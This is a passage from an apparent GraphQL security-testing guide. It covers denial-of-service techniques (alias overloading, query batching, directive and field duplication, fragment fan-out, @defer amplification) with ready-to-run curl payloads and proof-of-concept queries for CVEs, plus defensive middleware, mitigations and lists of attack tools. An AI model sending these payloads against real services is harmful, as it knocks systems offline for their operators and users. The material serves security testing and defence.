    625     -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
    626     'https://example.com/graphql'
    627 ```
    628 
    629 To mitigate this, implement alias count limits, query complexity analysis, or rate limiting to prevent resource abuse.
    630 
    631 ### **Array-based Query Batching**
    632 
    633 **Array-based Query Batching** is a vulnerability where a GraphQL API allows batching multiple queries in a single request, enabling an attacker to send a large number of queries simultaneously. This can overwhelm the backend by executing all the batched queries in parallel, consuming excessive resources (CPU, memory, database connections) and potentially leading to a **Denial of Service (DoS)**. If no limit exists on the number of queries in a batch, an attacker can exploit this to degrade service availability.
    634 
    635 ```graphql
    636 # Test provided by https://github.com/dolevf/graphql-cop
    637 curl -X POST -H "User-Agent: graphql-cop/1.13" \
    638 -H "Content-Type: application/json" \
    639 -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
    640 'https://example.com/graphql'
    641 ```
    642 
    643 In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server.
    644 
    645 ### **Directive Overloading Vulnerability**
    646 
    647 **Directive Overloading** occurs when a GraphQL server permits queries with excessive, duplicated directives. This can overwhelm the server’s parser and executor, especially if the server repeatedly processes the same directive logic. Without proper validation or limits, an attacker can exploit this by crafting a query with numerous duplicate directives to trigger high computational or memory usage, leading to **Denial of Service (DoS)**.
    648 
    649 ```bash
    650 # Test provided by https://github.com/dolevf/graphql-cop
    651 curl -X POST -H "User-Agent: graphql-cop/1.13" \
    652 -H "Content-Type: application/json" \
    653 -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
    654 'https://example.com/graphql'
    655 ```
    656 
    657 Note that in the previous example `@aa` is a custom directive that **might not be declared**. A common directive that usually exists is **`@include`**:
    658 
    659 ```bash
    660 curl -X POST \
    661 -H "Content-Type: application/json" \
    662 -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
    663 'https://example.com/graphql'
    664 ```
    665 
    666 You can also send an introspection query to discover all the declared directives:
    667 
    668 ```bash
    669 curl -X POST \
    670 -H "Content-Type: application/json" \
    671 -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
    672 'https://example.com/graphql'
    673 ```
    674 
    675 And then **use some of the custom** ones.
    676 
    677 ### **Field Duplication Vulnerability**
    678 
    679 **Field Duplication** is a vulnerability where a GraphQL server permits queries with the same field repeated excessively. This forces the server to resolve the field redundantly for every instance, consuming significant resources (CPU, memory, and database calls). An attacker can craft queries with hundreds or thousands of repeated fields, causing high load and potentially leading to a **Denial of Service (DoS)**.
    680 
    681 ```bash
    682 # Test provided by https://github.com/dolevf/graphql-cop
    683 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
    684 -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
    685 'https://example.com/graphql'
    686 ```
    687 
    688 ## Recent Vulnerabilities (2023-2025)
    689 
    690 > The GraphQL ecosystem evolves very quickly; during the last two years several critical issues were disclosed in the most-used server libraries. When you find a GraphQL endpoint it is therefore worth fingerprinting the engine (see **graphw00f**) and checking the running version against the vulnerabilities below.
    691 
    692 ### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust)
    693 * Affected: async-graphql < **7.0.10** (Rust)
    694 * Root cause: no limit on **duplicated directives** (e.g. thousands of `@include`) which are expanded into an exponential number of execution nodes.
    695 * Impact: a single HTTP request can exhaust CPU/RAM and crash the service.
    696 * Fix/mitigation: upgrade ≥ 7.0.10 or call `SchemaBuilder.limit_directives()`; alternatively filter requests with a WAF rule such as `"@include.*@include.*@include"`.<sup>[[7]](#references)</sup>
    697 
    698 ```graphql
    699 # PoC – repeat @include X times
    700 query overload {
    701   __typename @include(if:true) @include(if:true) @include(if:true)
    702 }
    703 ```
    704 
    705 ### CVE-2024-40094 – `graphql-java` ENF depth/complexity bypass
    706 * Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
    707 * Root cause: **ExecutableNormalizedFields** were not considered by `MaxQueryDepth` / `MaxQueryComplexity` instrumentation. Recursive fragments therefore bypassed all limits.
    708 * Impact: unauthenticated DoS against Java stacks that embed graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
    709 
    710 ```graphql
    711 fragment A on Query { ...B }
    712 fragment B on Query { ...A }
    713 query { ...A }
    714 ```
    715 
    716 ### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
    717 * Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
    718 * Root cause: the `createMediaItem` mutation accepted attacker-controlled **`filePath` URLs**, allowing internal network access and file writes.
    719 * Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.
    720 
    721 ### CVE-2025-32031 – Apollo Gateway query-planner fragment fan-out DoS
    722 * Affected: `@apollo/gateway` < **2.10.1**
    723 * Root cause: **deeply nested and heavily reused named fragments** can bypass internal query-planner optimizations, so the gateway spends most of its CPU time **planning** the request before it even reaches the subgraphs.
    724 * Impact: a small number of unauthenticated requests can make a **federated gateway** unresponsive even when resolver depth/complexity checks look fine on the subgraphs.
    725 * Testing hint: in black-box tests, watch for high latency / gateway CPU spikes with almost no corresponding subgraph traffic. The choke point is the planner, not the resolver.
    726 
    727 ```graphql
    728 fragment F2 on Query { __typename }
    729 fragment F1 on Query { ...F2 ...F2 }
    730 fragment F0 on Query { ...F1 ...F1 }
    731 query { ...F0 }
    732 ```
    733 
    734 ---
    735 
    736 ## Incremental delivery abuse: `@defer` / `@stream`
    737 Since 2023 most major servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implemented the **incremental delivery** directives defined by the GraphQL-over-HTTP WG. Every deferred patch is sent as a **separate chunk**, so the total response size becomes *N + 1* (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical **amplification DoS** and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk. 
    738 
    739 Example payload generating 2 000 patches:
    740 
    741 ```graphql
    742 query abuse {
    743 % for i in range(0,2000):
    744   f{{i}}: __typename @defer
    745 % endfor
    746 }
    747 ```
    748 
    749 Mitigation: disable `@defer/@stream` in production or enforce `max_patches`, cumulative `max_bytes` and execution time. Libraries like **graphql-armor** (see below) already enforce sensible defaults.
    750 
    751 ---
    752 
    753 ## Defensive middleware (2024+)
    754 
    755 | Project | Notes |
    756 |---|---|
    757 | **graphql-armor** | Node/TypeScript validation middleware published by Escape Tech. Implements plug-and-play limits for query depth, alias/field/directive counts, tokens and cost; compatible with Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
    758 
    759 Quick start:
    760 
    761 ```text
    762 import { protect } from '@escape.tech/graphql-armor';
    763 import { applyMiddleware } from 'graphql-middleware';
    764 
    765 const protectedSchema = applyMiddleware(schema, ...protect());
    766 ```
    767 
    768 `graphql-armor` will now block overly deep, complex or directive-heavy queries, protecting against the CVEs above.<sup>[[8]](#references)</sup>
    769 
    770 ---
    771 
    772 ## Tools
    773 
    774 ### Vulnerability scanners
    775 
    776 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Test common misconfigurations of graphql endpoints
    777 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.
    778 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint the graphql being used
    779 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit that can be used to grab schemas and search for sensitive data, test authorization, brute force schemas, and find paths to a given type.
    780 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Can be used as standalone or [Burp extension](https://github.com/doyensec/inql).
    781 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Can be used as a CLI client also to automate attacks: `python3 graphqlmap.py -u http://example.com/graphql --inject`
    782 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool that lists the different ways of **reaching a given type in a GraphQL schema**.
    783 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): The Successor of Standalone and CLI Modes os InQL
    784 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension or python script for advanced GraphQL testing. The _**Scanner**_ is the core of InQL v5.0, where you can analyze a GraphQL endpoint or a local introspection schema file. It auto-generates all possible queries and mutations, organizing them into a structured view for your analysis. The _**Attacker**_ component lets you run batch GraphQL attacks, which can be useful for circumventing poorly implemented rate limits: `python3 inql.py -t http://example.com/graphql -o output.json`
    785 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Try to get the schema even with introspection disabled by using the help of some Graphql databases that will suggest the names of mutations and parameters.
    786 
    787 ### Scripts to exploit common vulnerabilities
    788 
    789 - [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Collection of scripts for exploiting denial-of-service vulnerabilities in vulnerable graphql environments.
    790 
    791 ### Clients
    792 
    793 - [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
    794 - [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
    795 
    796 ### Automatic Tests
    797 
    798 [Graphql Dashboard.Herokuapp.Com](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/https%3A/graphql-dashboard.herokuapp.com/README.md)
    799 
    800 - Video explaining AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
    801 
    802 ## References
    803 
    804 - [1] [Practical GraphQL attack vectors](https://jondow.eu/practical-graphql-attack-vectors/)
    805 - [2] [GraphQL — Common vulnerabilities & how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
    806 - [3] [All about GraphQL Security, GraphQL vs REST API model](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
    807 - [4] [API Hacking: GraphQL](http://ghostlulz.com/api-hacking-graphql/)
    808 - [5] [GraphQL Injection - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
    809 - [6] [GraphQL API vulnerabilities - PortSwigger](https://portswigger.net/web-security/graphql)
    810 - [7] [async-graphql directive overload Denial of Service (GHSA-5gc2-7c65-8fq8 / CVE-2024-47614)](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
    811 - [8] [GraphQL Armor](https://github.com/escape-tech/graphql-armor)
    812 - [9] [InQL v6.1.0 Just Landed with New Features and Contribution Swag!](https://blog.doyensec.com/2025/12/02/inql-v610.html)
    813 - [10] [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix)
    814 - [11] [File Uploads - GraphQL](https://graphql.org/learn/file-uploads/)
    815 - [12] [Persisted Queries - Apollo GraphOS Docs](https://www.apollographql.com/docs/graphos/platform/security/persisted-queries)
    816 - [13] [We Hacked Google A.I. for $50,000](https://www.landh.tech/blog/20240304-google-hack-50000/)
    817 - [14] [GraphQL Batching Attack](https://lab.wallarm.com/graphql-batching-attack/)
    818 - [15] [GraphQL Security Testing Without a Schema](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)
    819 - [16] [NahamCon2024: GraphQL is the New PHP | @0xlupin](https://www.youtube.com/watch?v=tIo_t5uUK50)
    820 - [17] [That single GraphQL issue that you keep missing](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)
    821 - [18] [GraphQL Query Authentication Bypass Vuln](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)
    822 - [19] [HackerOne Report #792927 - sensitive account details leak via GraphQL query variables](https://hackerone.com/reports/792927)
    823 - [20] [graphql.org - GraphQL: A query language for APIs](https://graphql.org/learn/introspection)
    824 - [21] [GraphQL over HTTP specification](https://graphql.github.io/graphql-over-http/draft/)
    825 - [22] [SameSite cookies explained](https://web.dev/articles/samesite-cookies-explained)